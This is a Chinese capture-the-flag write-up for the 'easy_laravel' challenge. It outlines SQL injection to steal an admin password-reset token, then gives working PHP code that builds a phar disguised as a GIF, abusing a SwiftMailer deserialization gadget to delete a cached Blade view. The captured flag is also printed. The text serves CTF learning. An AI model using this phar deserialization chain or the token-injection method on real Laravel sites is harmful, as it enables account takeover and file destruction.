[CTF]攻防世界:easy_laravel 学习

题目:攻防世界:easy_laravel 学习

提示:blade + pop chain(代码审计+sql注入+blade缓存+反序列化)

直接F12查看源码

php的web框架

一、注入

查看源码:

这里应该是注入点:

看到管理员认证,判断邮箱

可以重置密码,但是需要token

token在表password_reset中

确定思路:注册用户sql注入拿到token-->reset一下管理员的密码,生成token-->登录获取flag

1、注入

laravel内置重置密码在Illuminate\Auth\Passwords 中实现,重置密码需要填写邮箱,并向邮箱发送一个重置链接。

laravel在5.4以后都是将token加密存储的,而之前是明文存储,所以我们就可以注入出token重置admin密码

先访问**/password/reset重置admin密码,然后注出token,访问/password/reset/token**,完成重置


2、登录后发现显示 no flag

二. blade 模板

Blade 是 Laravel 提供的一个简单而又强大的模板引擎。和其他流行的 PHP 模板引擎不同,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何负担。Blade 视图文件使用 .blade.php 作为文件扩展名,被存放在 resources/views 目录。

所以当我们修改了flag的balde模板但是还没有编译使其渲染出新的flag页面,其页面还是没修改时的那个缓存

删除缓存文件:

1、上传phar文件

2、利用phar文件删除缓存文件

upload 实现phar文件上传 check利用

通过此类实现反序列化。

确定一下相关文件目录:

1、blade缓存位置:storage/framework/views

2、apache默认目录:/var/www/html/

加一起缓存文件就是 :/var/www/html/storage/framework/views/flag.blade.php

(sha1()==>34e41df0934a75437873264cd28e2d835bc38772)

phaer 文件是以序列化形式存储的。当解析它的时候,必然会用到反序列化的一些魔术方法。受影响的函数包括

从其他师傅那学习到的生成phar的代码:

dart 复制代码
<?php 
	require 'vendor/autoload.php';
	$a = serialize(new Swift_ByteStream_TemporaryFileByteStream()); 
	var_dump(unserialize($a)); 
	var_dump($a); # 这个函数很有趣,$_path 也就是删除的目录是可以自己制定的,将这里面的内容换成我们想要的内容,就可以删掉flag的缓存文件。 
	$a = preg_replace("/\/tmp\/FileByteStream[\w]{6}/","/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a); $a = str_replace('s:25', 's:90', $a); # 这里将 _path 的内容修改掉 
	$b = unserialize($a); 
	$p = new Phar('./shell.phar', 0); 
	$p->startBuffering(); 
	$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); # 改文件头 
	$p->setMetadata($b); 
	$p->addFromString('test.txt','text'); 
	$p->stopBuffering(); 
	rename('shell.phar', '1.gif') 
?>

生成后,将1.gif上传,然后点击check。

修改数据包

重新访问/flag路由,得到flag

flag: flag{d64e4b06f672429682a96b11172a8938}

相关推荐
程序员黑豆3 小时前
Java包装类:基本类型与对象的桥梁
java·前端·ai编程
hsjiasb6 小时前
FreeRTOS学习(二十七)——任务栈与栈溢出检测
开发语言·stm32·学习·学习笔记·freertos
小弥儿6 小时前
GitHub今日热榜 | 2026-08-16:大模型微调与编码工具扎堆
学习·开源·github
mldong7 小时前
"applicant" 契约:退回发起人的闭环设计
java·架构
月华路7 小时前
G1 垃圾回收:脏卡队列、记忆集与并发精化线程机制
java·开发语言
gugucoding7 小时前
47. 【Java】Java内存模型(JMM)与可见性
java·开发语言
zww89491118 小时前
校园跑腿系统开发实战指南:从需求分析到上线部署全流程解析
java
xian_wwq8 小时前
【学习笔记】光伏“四可”装置纵密模块--配置方法和原理
笔记·学习
Fluxart.ai8 小时前
电商商品图审核怎么自动化?规则引擎、人工复核与发布门禁
java·前端·自动化
min(a,b)9 小时前
学习第17天:Agent Memory 与 MCP 协议
python·学习